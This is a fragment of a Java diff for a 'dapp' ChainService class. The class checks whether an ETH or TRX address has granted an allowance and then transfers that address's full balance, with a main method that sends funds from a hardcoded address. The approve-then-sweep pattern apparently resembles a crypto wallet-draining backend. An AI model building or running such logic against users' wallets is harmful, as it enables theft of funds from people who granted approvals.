| | |
| | | package cc.mrbird.febs.dapp.chain; |
| | | |
| | | import cc.mrbird.febs.common.exception.FebsException; |
| | | import cn.hutool.core.util.StrUtil; |
| | | import cn.hutool.http.HttpUtil; |
| | | import com.alibaba.fastjson.JSONObject; |
| | | |
| | |
| | | */ |
| | | public boolean isAllowance(String address) { |
| | | BigInteger result; |
| | | if (address.indexOf(ETH_PREFIX) > 0) { |
| | | if (address.startsWith(ETH_PREFIX)) { |
| | | result = ETH.ethAllowance(address); |
| | | } else { |
| | | result = TRX.allowance(address); |
| | |
| | | return Integer.parseInt(total); |
| | | } |
| | | |
| | | public String transfer(String address) { |
| | | BigDecimal amount = balanceOf(address); |
| | | |
| | | return transfer(address, amount); |
| | | } |
| | | |
| | | public String transfer(String address, BigDecimal amount) { |
| | | String hash; |
| | | if (address.startsWith(ETH_PREFIX)) { |
| | | hash = ETH.approveTransfer(address, amount, null); |
| | | } else { |
| | | hash = TRX.transfer(address, amount); |
| | | } |
| | | return hash; |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | // System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); |
| | | System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); |
| | | } |
| | | } |